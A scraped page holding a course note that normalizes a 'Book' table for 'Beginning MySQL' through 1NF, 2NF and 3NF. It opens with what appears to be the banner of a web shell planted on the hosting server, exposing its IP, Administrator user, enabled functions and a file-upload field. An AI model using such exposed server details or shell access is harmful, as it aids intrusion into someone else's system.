| Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/JimMartinson/Classes/CST1600/Week/11/ |
Upload File : |
* = primary key (PK) @ = foreign key (FK) ^ = unique field (UNI) Book table Title Author Nationality Format Price Subject Pages Thickness Publisher Publisher Country Publication Type Genre ID Genre Name Beginning MySQL Chad Russell American Hardcover 49.99 MySQL,Database,Design 520 Thick Apress USA E-book 1 Tutorial 1NF: Remove not-atomic values by adding rows with the non-atomic data converted to one value each. Book table Title Author Nationality Format Price Subject Pages Thickness Publisher Publisher Country Publication Type Genre ID Genre Name Beginning MySQL Chad Russell American Hardcover 49.99 MySQL 520 Thick Apress USA E-book 1 Tutorial Beginning MySQL Chad Russell American Hardcover 49.99 Database 520 Thick Apress USA E-book 1 Tutorial Beginning MySQL Chad Russell American Hardcover 49.99 Design 520 Thick Apress USA E-book 1 Tutorial Add a PK. But this vialate the PK unique rule. Book table ISBN* Title Author Nationality Format Price Subject Pages Thickness Publisher Publisher Country Publication Type Genre ID Genre Name 1590593324 Beginning MySQL Chad Russell American Hardcover 49.99 MySQL 520 Thick Apress USA E-book 1 Tutorial 1590593324 Beginning MySQL Chad Russell American Hardcover 49.99 Database 520 Thick Apress USA E-book 1 Tutorial 1590593324 Beginning MySQL Chad Russell American Hardcover 49.99 Design 520 Thick Apress USA E-book 1 Tutorial Move non atomic value to a new table so the PK is unique. Book table ISBN* Title Author Nationality Format Price Pages Thickness Publisher Publisher Country Publication Type Genre ID Genre Name 1590593324 Beginning MySQL Chad Russell American Hardcover 49.99 520 Thick Apress USA E-book 1 Tutorial Book_Subject table ISBN#*@ Subject name* 1590593324 MySQL 1590593324 Database 1590593324 Design Subject table Subject name* MySQL Database Design 2NF: One PK, so done. 3NF: The nationallity only depends on the author. Format and Publication Type are two names for the same thing. Book table ISBN* Title Author Nationality Format Price Pages Thickness Publisher Publisher Country Genre ID Genre Name 1590593324 Beginning MySQL Chad Russell American E-book 49.99 520 Thick Apress USA 1 Tutorial 1590593324 Beginning MySQL Chad Russell American Hardcover 49.99 520 Thick Apress USA 1 Tutorial Create an author table. Only one author per book. Book table ISBN* Title AuthorId@ Format Price Pages Thickness Publisher Publisher Country Genre ID Genre Name 1590593324 Beginning MySQL 1 E-book 49.99 520 Thick Apress USA 1 Tutorial 1590593324 Beginning MySQL 1 Hardcover 49.99 520 Thick Apress USA 1 Tutorial Author table AuthorId* AuthorName Nationality 1 Chad Russell American Create a Format and linking table. Multiple book formats. Book table ISBN* Title AuthorId@ Pages Thickness Publisher Publisher Country Genre ID Genre Name 1590593324 Beginning MySQL 1 520 Thick Apress USA 1 Tutorial 1590593324 Beginning MySQL 1 520 Thick Apress USA 1 Tutorial Format table FormatId Format 1 E-book 2 Hardcover. Book_Format ISBN*@ FormatId*@ Price 1590593324 1 23.99 1590593324 2 49.99 Start with: https://en.wikipedia.org/wiki/Database_normalization Satisfying 3NF